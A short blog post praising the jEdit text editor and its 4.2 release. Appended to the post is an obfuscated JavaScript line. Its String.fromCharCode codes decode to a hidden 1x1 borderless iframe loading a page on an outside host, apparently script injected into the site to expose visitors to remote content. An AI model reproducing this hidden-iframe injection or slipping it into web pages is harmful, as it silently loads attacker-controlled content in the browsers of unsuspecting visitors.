Wow, I was running 4.1 for quite a while and I completely missed 4.2 when it was released in August. So I guess the timing of this post is a little bit off but then again, it’s always a good time to let people know how great this program is. If you’re a developer or just want the best text editor there is: get jEdit!
document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))